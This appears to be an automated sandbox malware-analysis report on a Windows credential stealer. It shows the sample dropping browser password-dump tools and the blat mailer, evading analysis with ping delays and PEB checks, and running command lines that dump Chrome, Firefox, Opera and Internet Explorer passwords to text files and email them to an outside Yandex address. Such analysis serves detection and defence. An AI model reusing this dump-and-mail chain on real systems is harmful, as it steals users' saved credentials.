Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: gssapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: gssapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: gssapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: gssapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source:	Binary string: z:\Projects\VS2005\OperaPassView\Release\OperaPassView.pdb source: OperaPassView.exe, OperaPassView.exe, 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: .pdb?P source: .exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, OperaPassView.exe, 00000009.00000000.1722119973.000000000040E000.00000080.00000001.01000000.0000000D.sdmp, OperaPassView.exe.1.dr
Source:	Binary string: z:\Projects\VS2005\iepv\Release\iepv.pdb source: iepv.exe, iepv.exe, 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: z:\Projects\VS2005\PasswordFox\Release\PasswordFox.pdb source: PasswordFox.exe, PasswordFox.exe, 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: z:\Projects\VS2005\ChromePass\Release\ChromePass.pdb source: ChromePass.exe, ChromePass.exe, 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Code function: 0_2_00401340 LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetEnvironmentVariableA,

0_2_00401340

Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00478046 push eax; ret	1_2_00478074
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_0045702F push 8B100241h; iretd	1_2_00457034
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_0045A096 push eax; ret	1_2_0045A0C4
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_0040B9F0 push eax; ret	9_2_0040BA04
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_0040B9F0 push eax; ret	9_2_0040BA2C
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_0040B9BD push ecx; ret	9_2_0040B9CD
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_00416181 push es; ret	11_2_00416183
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_0041658D push ds; ret	11_2_0041658E
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_0040B759 push ecx; ret	11_2_0040B769
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_0040B780 push eax; ret	11_2_0040B794
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_0040B780 push eax; ret	11_2_0040B7BC
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040D740 push eax; ret	13_2_0040D754
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040D740 push eax; ret	13_2_0040D77C
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040D721 push ecx; ret	13_2_0040D731
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0042B0D9 push ecx; ret	15_2_0042B0E9
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0042B210 push eax; ret	15_2_0042B224
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0042B210 push eax; ret	15_2_0042B24C
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00430644 push eax; ret	15_2_00430649
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_004123B0 push eax; ret	20_2_004123DE
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_004123B0 push eax; ret	22_2_004123DE

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: \ .exe
Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: \ .exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ .exe	File created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	File created: C:\Users\user\AppData\Local\Temp\ .exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe

Code function: 11_2_0040B251 memset,wcscpy,memset,wcscpy,wcscat,wcscpy,wcscat,GetModuleHandleW,LoadLibraryExW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_0040B251

Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_0-226

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 120 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 120 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Code function: 0_2_0040144A rdtsc

0_2_0040144A

Source: C:\Users\user\AppData\Local\Temp\ .exe

Window / User API: threadDelayed 4972

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ .exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\600.tmp\blat.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	API coverage: 9.5 %
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	API coverage: 6.8 %

Source: C:\Users\user\AppData\Local\Temp\ .exe TID: 7336	Thread sleep count: 4972 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe TID: 7336	Thread sleep time: -124300s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE TID: 8176	Thread sleep count: 118 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE TID: 8176	Thread sleep time: -118000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\ .exe

Thread sleep count: Count: 4972 delay: -25

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_0040518C FindFirstFileW,FindNextFileW,wcslen,wcslen,	11_2_0040518C
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_00404D0E FindFirstFileW,FindNextFileW,FindClose,	11_2_00404D0E
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_004063F9 FindFirstFileA,FindNextFileA,strlen,strlen,	13_2_004063F9
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00405798 FindFirstFileW,FindNextFileW,wcslen,wcslen,	15_2_00405798
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_004058AD malloc,ReadFile,strcpy,strrchr,strrchr,strrchr,FindFirstFileA,strcpy,strcat,malloc,malloc,strlen,malloc,memcpy,FindNextFileA,FindClose,	20_2_004058AD
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_0040B976 lstrcpyA,FindFirstFileA,FindClose,	20_2_0040B976
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_004058AD malloc,ReadFile,strcpy,strrchr,strrchr,strrchr,FindFirstFileA,strcpy,strcat,malloc,malloc,strlen,malloc,memcpy,FindNextFileA,FindClose,	22_2_004058AD
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_0040B976 lstrcpyA,FindFirstFileA,FindClose,	22_2_0040B976

Source: blat.exe, 0000001D.00000002.2735034290.0000000000504000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllv
Source: blat.exe, 00000016.00000002.2480567758.0000000000558000.00000004.00000020.00020000.00000000.sdmp, blat.exe, 00000019.00000002.2562572459.0000000000714000.00000004.00000020.00020000.00000000.sdmp, blat.exe, 0000001B.00000002.2653078613.0000000000714000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\0zu73p2YBu.exe	API call chain: ExitProcess graph end node	graph_0-179
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	API call chain: ExitProcess graph end node	graph_0-205
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	API call chain: ExitProcess graph end node	graph_0-229
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	API call chain: ExitProcess graph end node	graph_0-146
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	API call chain: ExitProcess graph end node	graph_0-231

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Code function: 0_2_0040144A rdtsc

0_2_0040144A

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

0_2_00401340

Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Code function: 0_2_00401157 mov eax, dword ptr fs:[00000030h]		0_2_00401157
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Code function: 0_2_00401169 mov eax, dword ptr fs:[00000030h]		0_2_00401169

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Code function: 0_2_00401AD8 GetCommandLineA,GetModuleHandleA,GetProcessHeap,ExitProcess,CreateWindowExA,

0_2_00401AD8

Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00403B70 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,		1_2_00403B70
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00403CC0 SetUnhandledExceptionFilter,		1_2_00403CC0

Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Process created: C:\Users\user\AppData\Local\Temp\ .exe "C:\Users\user\AppData\Local\Temp\ .exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe OperaPassView.exe /stext user-PC_OperaPassView.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe PasswordFox.exe /stext user-PC_PasswordFox.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe iepv.exe /stext user-PC_iepv.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe ChromePass.exe /stext user-PC_ChromePass.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 120 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe OperaPassView.exe /stext user-PC_OperaPassView.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Opera" -attachi "user-PC_OperaPassView.txt" -body "Opera"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Fox" -attachi "user-PC_PasswordFox.txt" -body "Fox"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe ChromePass.exe /stext user-PC_ChromePass.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Chrome" -attachi "user-PC_ChromePass.txt" -body "Chrome"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe

Code function: 15_2_0040D702 GetSystemTime,memcpy,GetCurrentProcessId,memcpy,GetTickCount,memcpy,QueryPerformanceCounter,memcpy,

15_2_0040D702

Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe

Code function: 20_2_0040A9D8 _EH_prolog,strcmp,strcpy,sprintf,sprintf,strchr,strchr,strcpy,strchr,strchr,rand,rand,rand,strcpy,strcpy,GetLocalTime,GetTimeZoneInformation,sprintf,sprintf,sprintf,sprintf,sprintf,sprintf,sprintf,sprintf,sprintf,sprintf,sprintf,sprintf,GetSystemTimeAsFileTime,GetCurrentProcessId,sprintf,sprintf,sprintf,lstrcmpA,sprintf,memcpy,strcpy,strcpy,strcat,strcpy,strcat,strcmp,sprintf,sprintf,strstr,

20_2_0040A9D8

Source: C:\Users\user\AppData\Local\Temp\ .exe

Code function: 1_2_00403CD7 GetVersionExA,GetVersionExA,GetVersionExA,

1_2_00403CD7

Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Chrome Password Stealer

Source: Yara match

File source: Process Memory Space: ChromePass.exe PID: 8164, type: MEMORYSTR

Yara detected Fox Password Stealer

Source: Yara match	File source: 11.2.PasswordFox.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PasswordFox.exe PID: 8052, type: MEMORYSTR

Yara detected Opera Password Stealer

Source: Yara match	File source: 9.2.OperaPassView.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: OperaPassView.exe PID: 7972, type: MEMORYSTR

Contains functionality to steal Internet Explorer form passwords

Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2		13_2_00406B85
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2		13_2_00406B3F

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Remote Access Functionality

Yara detected Chrome Password Stealer

Source: Yara match

File source: Process Memory Space: ChromePass.exe PID: 8164, type: MEMORYSTR

Yara detected Fox Password Stealer

Source: Yara match	File source: 11.2.PasswordFox.exe.400000.0.unpack, type: UNPACKEDPE
